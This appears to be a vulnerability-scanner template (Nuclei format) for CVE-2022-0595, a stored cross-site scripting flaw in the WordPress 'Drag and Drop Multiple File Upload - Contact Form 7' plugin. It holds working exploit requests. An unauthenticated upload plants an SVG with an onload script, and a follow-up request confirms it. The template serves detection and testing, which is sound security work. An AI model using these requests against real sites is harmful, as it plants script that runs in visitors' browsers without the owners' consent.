id: CVE-2022-0595

info:
  name: Drag and Drop Multiple File Upload - Contact Form 7 < 1.3.6.3 - Unauthenticated Stored XSS
  author: akincibor
  severity: medium
  description: The plugin allows SVG files to be uploaded by default via the dnd_codedropz_upload AJAX action, which could lead to Stored Cross-Site Scripting issue.
  reference:
    - https://wpscan.com/vulnerability/1b849957-eaca-47ea-8f84-23a3a98cc8de
    - https://plugins.trac.wordpress.org/changeset/2686614
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2022-0595
    cwe-id: CWE-79
  tags: cve,cve2022,xss,wordpress,wp-plugin

requests:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=---------------------------92633278134516118923780781161

        -----------------------------92633278134516118923780781161
        Content-Disposition: form-data; name="size_limit"

        10485760
        -----------------------------92633278134516118923780781161
        Content-Disposition: form-data; name="action"

        dnd_codedropz_upload
        -----------------------------92633278134516118923780781161
        Content-Disposition: form-data; name="type"

        click
        -----------------------------92633278134516118923780781161
        Content-Disposition: form-data; name="upload-file"; filename="{{randstr}}.svg"
        Content-Type: image/jpeg

        <svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/>
        -----------------------------92633278134516118923780781161--

      - |
        GET /wp-content/uploads/wp_dndcf7_uploads/wpcf7-files/{{randstr}}.svg HTTP/1.1
        Host: {{Hostname}}

    req-condition: true
    matchers:
      - type: dsl
        dsl:
          - 'contains(body_2, "alert(document.domain)")'
          - 'status_code_2 == 200'
        condition: and